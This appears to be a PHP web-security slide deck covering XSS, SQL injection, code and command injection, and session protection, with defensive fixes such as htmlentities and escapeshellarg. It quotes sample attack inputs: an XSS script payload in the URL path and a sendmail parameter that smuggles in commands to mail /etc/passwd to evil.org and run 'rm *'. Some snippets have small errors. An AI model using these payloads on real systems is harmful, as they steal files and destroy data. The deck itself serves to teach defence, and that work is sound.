  • 8. XSS attack Prevention is better than cure – Use striptags() • No tag allowance please – Use htmlentities() – Is $_SERVER safe ? • Can be set… • Php.php/%22%3E%3Cscript%3Ealert(‘xss’)%3c/script%3E%3cfoo • $_SERVER[‘PATH_INFO’] = /”><script>alert(‘xss’)</script><foo; • $_SERVER[‘PHP_SELF’] = /php.php/”><script> alert(‘xss’)</script><foo – IP based info • Use HTTP_X_FORWARDED_FOR • Use long2ip() – $aIp = explode(‘,’,$_SERVER[HTTP_X_FORWARDED_FOR]); – $sValidIp = long2ip(ip2long(array_pop($ipss)));
  • 9. SQL Injection WWW – Arbitrary query execution – Removal of data. – Modification of existing values. – Denial of service. – Arbitrary data injection.
  • 10. Preventing SQL injection • Are magic quotes enough? – use mysql_real_escape_string() – use prepared statements – avoid omitting single quotes – LIKE quandary need addslashes() – avoid printing query – Authentication data storage • Encrypt sensitive data to access database • Make sure it’s only loaded for certain VirtualHost
  • 11. Authentication Data Storage SetEnv DB_LOGIN “login” SetEnv DB_PASSWD “password” Set Env DB_HOST “127.0.0.7” <virtualHost iila.ws> include /home/illa/sql.conf </virtualHost> $_SERVER[‘DB_LOGIN’] $_SERVER[‘DB_PASSWD’] /home/illa/sql.conf Apache server configuration PHP file Better Approach is to set these things under php’s ini directives use php_admin_value mysql.default.user. “login”
  • 12. Preventing code injection – Path validation – Validate fileName $sFile = “D’sozaRes.doc’; basename($sFile); //will return D’sozaRes.doc on *nix system basename($sFile); //will return ’sozaRes.doc on win32 • Remove slashes • Keep white list of file name • Use full path – Avoid variables in eval() – Avoid using variable passed by users for regEx.
  • 13. Command injection – Use escapeshellcmd() and escapeshellarg() – Use full path for command – Set prority and memory limit for command • shell_exec(“ulimit –t 20 –m 20000; /usr/bin/php test.php”);
  • 14. Calling External Programs <?php $fp = popen(‘/usr/sbin/sendmail -i ‘. $to , ‘w’); ?> The user could control $to to yield: http://examp.com/send.php?$to=evil%40evil.org+%3C+%2Fpasswd%3B+rm+%2A which would result in running the command: /usr/sbin/sendmail -i evil@evil.org /etc/passwd; rm * a solution would be: $fp = popen(‘/usr/sbin/sendmail -i ‘ . escapeshellarg($to), ‘w’);
  • 15. Securing sessions • Weakness of session – Server side weakness… • ls –l /tmp/sess_* //can reveal session info – URL session exploitation • Solution – Native protection. – Mixing security and convenience. – Securing session storage path – Check browser signature – Referrer validation